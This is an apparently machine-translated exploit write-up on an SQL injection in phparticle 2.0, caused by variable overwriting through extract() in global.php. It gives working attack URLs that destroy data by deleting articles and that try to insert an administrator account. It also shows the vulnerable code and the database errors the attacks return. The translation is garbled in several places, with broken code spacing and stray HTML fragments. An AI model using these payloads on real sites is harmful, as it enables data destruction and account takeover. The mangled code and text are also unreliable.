Test and Analysis of phparticle 2.0 Injection Vulnerability

Phparticle is the best article System in PHP. It seems that it has not yet been hacked. I used to read the code in this article system when I was studying PHP. It feels very similar to VBB, I have also carefully analyzed that there are no vulnerabilities. After learning about PHP, I will not analyze it again. It makes me feel safe.

Some time ago, Xiaohua and I said that there was a variable in phparticle that was not initialized. I looked at it and it was indeed possible to construct this variable, and any page was okay, I was unable to get something meaningful, but it was easy to destroy it. Alas, I finally understood why the damage was simpler than the construction.

The/global. php file starts with this:

<? Php Error_reporting (7 ); If ($ showqueries = 1 OR $ _ GET [showqueries] = 1 ){ $ Script_start_time = microtime (); } Require "admin/config. php "; Require "admin/class/mysql. php "; Require "admin/configs/setting. php "; // Var_dump ($ configuration ); // Extract ($ configuration, EXTR_SKIP ); Extract ($ configuration, EXTR_OVERWRITE );

/Admin/configs/setting. in the PHP file, the variable $ configuration is an array and is the configuration parameter of the entire article system. To reduce the number of queries, write the database configuration information into the file, which is much faster, this is normal, but a line of code is enough to make phparticle data instantly disappear.

Extract ($ configuration, EXTR_OVERWRITE );

The extract () function is written in the PHP manual as follows:

Int extract (array var_array [, int extract_type [, string prefix])

This function is used to import variables from the array to the current symbol table. The array var_array is used as the parameter and the key name is used as the variable name, and the value is used as the variable value. Each key/value pair will create a variable in the current symbol table and be affected by the extract_type and prefix parameters.

Note: Since version 4.0.5, this function returns the number of extracted variables.

Note: EXTR_IF_EXISTS and EXTR_PREFIX_IF_EXISTS are introduced in version 4.2.0.

Note: EXTR_REFS is introduced in version 4.3.0.

Extract () Checks each key name to see if it can be used as a valid variable name. It also checks for conflicts with existing variable names in the symbol table. The method for dealing with illegal/numbers and conflicting key names is determined by the extract_type parameter. It can be one of the following values:

EXTR_OVERWRITE
If there is a conflict, overwrite the existing variables.

Obviously, it can overwrite arbitrary variables or even system variables, including $ _ GET, $ _ POST, etc, I really don't understand why I need to comment out the above line and use this "EXTR_OVERWRITE ".

The most critical variable is admin/config. $ db_prefix variable in php, which is the table prefix. This is the most useful because all queries in phparticle use this variable on the surface, which can certainly cause SQL injection, however, the conditions are extremely harsh. Construct a complete SQL QUERY from the table prefix. Comment out the following statements. Haha, maybe you can also load_file or into outfile ~~

But in fact it is not so smooth, for a clearer test. I set a variable $ SQL for all SQL queries, and then output the variable $ SQL on the homepage of the system to see what the first SQL statement is to be executed. SELECT statements can be injected, this gives you a lot of useful information. Even ......, If INSERT is better, you can directly construct a statement to INSERT an administrator, or UPDATE the user you registered into the Administrator group. If it is DELETE, you can DELETE any data, the output statement is "delete from pa_session WHERE expiry <1103398532 111111111 ",

Screen. width-333) this. width = screen. width-333 "border = 0>

Very annoyed. If this DELETE statement is incorrect, it will display the MYSQL error message and stop running the program. It is impossible to execute the next SQL statement. In addition, the fault tolerance Processing of phparticle is very good. No way to return the physical path of the WEB. If the current user is not an administrator, the MYSQL error message cannot be seen. I tested it locally because it is an administrator, therefore, the error information of MYSQL is returned to the screen, which is more helpful for our test. Let's construct a complete DELETE statement. After successful execution, we should continue to execute the next SQL QUERY statement, I will submit it at will:

Http: // localhost/phparticle/global. php? Configuration [db_prefix] = angel

Result returned:

PhpArticle -------------------------------------------------------------------------------- Database Error: Invalid SQL statement: DELETE FROM angelsession WHERE expiry <1104152890 Mysql error description: Table 'article20. angelsession 'doesn' t exist Mysql error number: 1146 Date: 2004-12-27 @ 21:08 Script: http: // localhost/phparticle/global. php? Configuration [db_prefix] = angel Referer: Please refresh your browser. If it still cannot be displayed normally, contact the administrator.

Wrong, the table does not exist, but the database name has come out, that is, Article 20. Of course, the actual application does not see this information, because phparticle has a relatively complete session check, therefore, no matter whether you browse or refresh any page, you will first perform operations on the session table, delete user sessions, update sessions, and query sessions, because users log on to and online users, also, the user's status is recorded by session. After learning about this, we will start to construct a complete DELETE statement and then look at what to do next:

Http: // localhost/phparticle/global. php? Configuration [db_prefix] = pa_article where articleid = 1 /*

Return Value:

PhpArticle -------------------------------------------------------------------------------- Database Error: The SQL statement is invalid: SELECT COUNT (DISTINCT ipaddress) AS total FROM pa_article where articleid = 1/* session WHERE expiry> 1104153004 Mysql error description: Unknown column 'ipaddress' in 'field list' Mysql error number: 1054 Date: @ Script: http: // localhost/phparticle/global. php? Configuration [db_prefix] = pa_article % 20 where % 20 articleid = 1 /* Referer: Please refresh your browser. If it still cannot be displayed normally, contact the administrator. PhpArticle -------------------------------------------------------------------------------- Database Error: Invalid SQL statement: INSERT INTO pa_article where articleid = 1/* session (sessionid, expiry, value, userid, ipaddress, useragent, location, lastactivity) VALUES ('a9fdc1b9d7e37b92686fb46486b41d20 ', 1104154444, 'pauserinfo | a: 1: {s: 14: \ "timezoneoffset \"; s: 1: \ "8 \";}', '', '2017. 0.0.1 ', 'mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; Maxthon ;. net clr 1.1.4322) ','/phparticle/global. php? Configuration [db_prefix] = pa_article % 20 where % 20 articleid = 1/* ', '123 ') Mysql error description: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'where articleid = 1/* session (sessionid, expiry, value, userid, ipaddr Mysql error number: 1064 Date: @ Script: http: // localhost/phparticle/global. php? Configuration [db_prefix] = pa_article % 20 where % 20 articleid = 1 /* Referer: Please refresh your browser. If it still cannot be displayed normally, contact the administrator. Warning: Unknown (): A session is active. You cannot change the session module's ini settings at this time. in Unknown on line 0

Let's look at the article system. The article has been deleted successfully. However, the SQL query is stuck on the SELECT statement, and the error message has terminated the running of the program. As a result, the next SQL QUERY cannot be executed. However, from the error page, the INSERT statement is also executed using our parameters,

Screen. width-333) this. width = screen. width-333 "border = 0>

I was wondering if I could directly construct an INSERT statement and add an administrator?

Http: // localhost/phparticle/global. php? Configuration [db_prefix] = pa_user VALUES (null, char (110, 97,109,101), 1, char (102, 52,102, 48, 54, 56,101, 55, 49,101, 48,100, 56, 55, 98,102, 48, 97,100, 53, 49,101, 54, 50, 49, 52, 97, 98, 56, 52,101, 57), 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 8 );/*

The returned result does not seem to work. In the first SQL QUERY statement, an error is aborted.

PhpArticle -------------------------------------------------------------------------------- Database Error: Invalid SQL statement: DELETE FROM pa_user VALUES (null, char (110, 97,109,101), 1, char (102, 52,102, 48, 54, 56,101, 55, 49,101, 48,100, 56, 55, 98,102, 48, 97,100, 53, 49,101, 54, 50, 49, 52, 97, 98, 56, 52,101, 57), 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 8);/* session WHERE expiry <1104153372 Mysql error description: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'values (null, char (110, 97,109,101), 1, char (102, 52,102, 48, 54, 56,101 Mysql error number: 1064 Date: @ Script: http: // localhost/phparticle/global. php? Configuration [db_prefix] = pa_user % 20 VALUES % 20 (null, char (110, 97,109,101), 1, char (102, 52,102, 48, 54, 56,101, 55, 49,101, 48,100, 56, 55, 98,102, 48, 97,100, 53, 49,101, 54, 50, 49, 52, 97, 98, 56, 52,101, 57), 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 8 );/* Referer: Please refresh your browser. If it still cannot be displayed normally, contact the administrator.

At this point, I can only submit:

Http: // localhost/phparticle/global. php? Configuration [db_prefix] = pa_article /*

The test is completed.

It seems that this phparticle is rather unyielding and can only hold her, rather than possess her ...... If any of you can possess her, please share it with me.